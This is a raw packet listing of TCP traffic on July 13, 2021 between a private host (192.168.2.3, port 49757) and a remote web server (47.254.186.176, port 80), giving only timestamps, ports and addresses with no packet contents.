Jul 13, 2021 14:37:53.474412918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474416018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474431038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474467993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474495888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474543095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474581957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474633932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474690914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474706888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474725962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474744081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474750042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474778891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474790096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474796057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474812984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474842072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474862099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474890947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474931955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474944115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474947929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474978924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474992990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475024939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475040913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475059986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475075960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475076914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475094080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475100040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475135088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475382090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475434065 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475611925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475653887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475670099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475672007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475707054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475713015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475718021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475766897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475776911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475794077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475810051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475831032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475842953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475851059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475868940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475879908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475886106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475902081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475908995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475928068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475972891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.475985050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.475991964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476020098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476043940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476051092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476062059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476094007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476110935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476330042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476387024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476408958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476424932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476440907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476457119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476471901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476490974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476507902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476517916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476525068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476530075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476546049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476562023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476578951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476583004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476592064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476594925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476612091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476613998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476632118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476676941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476694107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476721048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476736069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476752996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476794958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.476818085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.476874113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477464914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477488041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477507114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477523088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477540016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477555990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477585077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477601051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477605104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477617025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477622986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477663040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477677107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477705956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477722883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477737904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477756977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477773905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477776051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477793932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477807045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477811098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.477828026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.477871895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478185892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478236914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478249073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478254080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478271008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478286982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478290081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478308916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478331089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478369951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478388071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478399992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478416920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478435040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478452921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478454113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478471994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478487015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478502989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478528976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478562117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478569031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478571892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478657007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478732109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.478966951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.478996038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479060888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479074001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479155064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479234934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479357958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479382992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479428053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479448080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479512930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479531050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479546070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479562044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479600906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479605913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479623079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479624987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479629993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479645967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479666948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479693890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479722977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479738951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479756117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479770899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479788065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479806900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.479846001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479861975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479866982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479870081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479873896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479876995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.479880095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480146885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480217934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480225086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480233908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480251074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480267048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480269909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480283022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480284929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480313063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480336905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480340958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480357885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480374098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480391026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480407000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480422974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480426073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480443001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480449915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480459929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480469942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480479002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480494976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.480499029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480528116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480602980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.480639935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481189966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481208086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481228113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481245041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481259108 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481261015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481277943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481278896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481295109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481309891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481326103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481338978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481342077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481355906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481362104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481370926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481453896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481750011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.481833935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.481941938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482007027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482018948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482036114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482053995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482069016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482084036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482086897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482091904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482103109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482104063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482122898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482137918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482141018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482150078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482171059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482187033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482203007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482208967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482218981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482222080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482274055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482295036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482310057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482409000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482589960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482661009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482810974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482842922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482861996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482880116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482896090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482903957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482908010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482919931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482930899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.482942104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482959986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.482989073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.489067078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.489092112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.489192009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.489475012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.489492893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.489509106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.489669085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.489717007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.489957094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490025997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490097046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.490204096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490221024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490236044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490291119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.490375042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490623951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.490700006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.490958929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491070032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491101027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491138935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.491142035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491158962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491175890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491192102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491204977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491209984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.491221905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491236925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.491286993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.491796017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.491945028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492047071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.492093086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492110014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492125034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492151976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.492178917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492197037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492197990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.492263079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.492269039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.495656967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.495676994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.495748997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.495806932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.495846987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.495944977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.495961905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496020079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496057034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496073961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496088982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496104956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496133089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496155024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496176958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496192932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496205091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496243000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496256113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496304035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496310949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496371031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496388912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496407032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496418953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496423006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496439934 CEST	80	49757	47.254.186.176	192.168.2.3
